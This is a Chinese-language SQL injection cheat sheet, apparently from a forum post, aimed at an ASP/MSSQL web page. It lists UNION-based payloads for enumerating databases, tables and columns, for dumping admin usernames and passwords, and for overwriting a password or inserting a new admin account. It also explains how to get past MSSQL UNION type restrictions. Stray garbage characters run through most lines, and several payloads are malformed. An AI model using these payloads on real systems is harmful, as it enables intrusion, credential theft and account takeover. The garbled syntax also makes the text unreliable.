爆库:
1 j E3 k; l5 X, ~6 }/ X* d- \http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--$ E+ |. a. {7 {% F# m
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
' l6 |" g: E5 d6 u& R# N爆下一个库:
1 }5 m+ e* ^; w$ y7 ]http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--. h) W$ @* A6 U& b t0 h
& |( I0 }3 I7 l+ Y6 z爆表:
/ d6 Z1 t' r w" o4 Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
/ P6 v2 W& d+ l$ i* m0 m6 U; r' ]
. W7 {$ s, k/ X( g" Y; @SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES., y4 h/ B8 C8 ?/ m9 w
0 [, P# z$ ~% L7 e4 e- o
爆下一个表
. A$ M% o& C" }; p* O9 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
, {" i: F: X0 f4 a8 t3 [8 G# s4 R8 Q# W
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
' I8 q! e* B' u6 i" u$ x; v& g7 n8 l& `% Q, V6 C
8 c6 p2 W' W0 c I9 n; y
2 Z4 {( B& k9 A. S
爆字段:
$ j5 n: s5 ] Ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--2 G2 F1 ~6 Z! B D8 g7 R
5 A. h' m- P Y5 p0 q爆下一个字段
5 l4 l0 ?7 ]/ X/ Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--3 m! d" {, l) l9 w6 M$ D8 W* |
2 X: C$ q/ r1 f7 T; Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--4 O4 |1 `* A; _; d
! V, V/ S. _; S' \% b& a3 R; `4 N
+ M4 B, J/ d8 h7 \' H爆字段里的内容
7 J6 b4 P$ C% b# o& f% k6 w7 thttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--) p) ^# R( P9 b
! k2 E0 c1 V+ N, u; W3 yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
$ L4 i) v4 Z( }- h* H- j/ W7 R& [4 ]4 |; W
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--" I' z5 S- \2 y! b$ g3 J, h
4 S' N" d, } i
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--9 O4 k; ~2 W# E; e% L- n$ e1 u( B# d0 |
! }6 S1 y* x& @, ^+ x" k
更新字段里的内容) P- } G, Z8 V4 M6 n9 a* D+ S
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--, ]" p1 F y8 _; p6 b; G
, I- B' E) O7 w9 u" ^, Z
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--, _+ W+ w8 I# k9 }
) y- W- A* X! M) q7 P. g9 R) T+ O$ Y* `' ?3 S
% O N2 p: T- a7 u+ |' F/ G
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
; _ I9 T3 V) ~' h# Z% i9 W3 [ 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
. n* _; K% e+ d k 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
; @# Z8 V# q% K4 m0 {- ? 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。2 ~0 L8 U" J! |, B0 [7 X6 u7 H
& N9 |; L w v- J* g
突了了大部份限制的语句: U8 w; n. z0 R) y
and 1=2 union all select char(49),char(50),null,null;--9 w, \; r8 P0 u/ V5 T
- P. ~. E: H0 c: c. m# O# \& \, ~1 X5 i4 D
null也可以正常执行,不过没有回显,不好判断回显的列数。$ h5 S5 G3 U+ E2 l. K
一般union遇到问题都是有text或者ntext字段,image的很少遇到( \9 ?# H* ]! U6 [; ~4 W$ j% j. F
% l: ^: D$ s* [可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
/ h/ Z1 K7 P' l1 Z
4 [8 U: G6 |+ Z( K2 U1 G. X r$ @4 ^
|